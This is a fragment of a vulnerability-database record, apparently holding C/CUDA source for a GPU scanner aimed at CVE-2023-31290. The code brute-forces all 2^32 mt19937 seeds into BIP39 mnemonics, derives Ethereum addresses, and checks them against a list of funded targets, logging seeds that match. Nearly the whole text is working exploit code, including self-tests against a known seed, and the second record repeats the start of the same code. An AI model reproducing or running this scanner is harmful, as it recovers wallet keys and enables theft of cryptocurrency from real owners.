for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic atomic_uint_fast64_t g_done, g_hits;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        atomic_fetch_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      atomic_fetch_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  atomic_fetch_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = atomic_load(&amp;g_done);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, atomic_load(&amp;g_hits), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", atomic_load(&amp;g_hits));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-03T23:53:35.494454Z"}, {"uuid": "64127b28-dd23-48ba-83a3-25cb60a19fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/6a1f1230ac888b81f0804c0ff27cf1db", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = 